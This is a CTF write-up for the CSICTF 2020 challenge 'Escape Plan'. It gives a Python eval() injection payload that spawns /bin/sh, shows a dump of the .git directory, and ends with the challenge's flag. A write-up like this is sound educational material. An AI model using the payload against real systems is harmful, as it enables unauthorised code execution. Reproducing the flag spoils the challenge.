Escape Plan

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Misc
Challenge | 2020 | CSICTF | Misc | Escape Plan

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/miscellaneous/2020/07/22/Escape-Plan.html

by `vishalananth`

题目描述

> *I found a script that solves ciphers, they say it's pretty secure!*

题目考点

解题思路

We try out a few commands and we find out that whatever we give as input is getting evaluated in python

using the eval() command. This quite easy to exploit and we try spawning a shell with

```
__builtins__.__dict__['__import__']('os').__dict__['system']('/bin/sh')
```

We get a shell without root privileges, this is quite handy but when we try to read the contents of .git folder, it asks us for root privleges. So I tried some common privilege escalation technqiues but nothing worked. So randomly I tried to print everything in the `.git` *folder.*

```
cat *
fix: message
ref: refs/heads/master
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = https://github.com/alias-rahil/crypto-cli
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
  remote = origin
  merge = refs/heads/master
Unnamed repository; edit this file 'description' to name the repository.
cat: hooks: Is a directory
DIRC_d□5Mh□_d□5Mh□□□□□□□□
^□~;ʸ+@□OA+I[7
              s4  crypto.py^□□4□□□□□□□!□□□^!□□□XEZ
□□□□X□□□)g□start.shTREE2 0
y□2□□□d□:
%□:□□□□-J□b9□=□]u□□'□J□+8□□c□cat: info: Is a directory
cat: logs: Is a directory
cat: objects: Is a directory
# pack-refs with: peeled fully-peeled sorted
2bd46f9367f9f5fd9deaf06bf1b8c4fea8c9686e refs/remotes/origin/master
cat: refs: Is a directory
```

We get a github url: https://github.com/alias-rahil/crypto-cli, visiting the url and viewing the commit history gives us the flag.

Flag

```
csictf{2077m4y32_h45_35c4p3d}
```

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2020/CSICTF/Misc/bEcFUGYG66wrbDK9KioAw9.html
-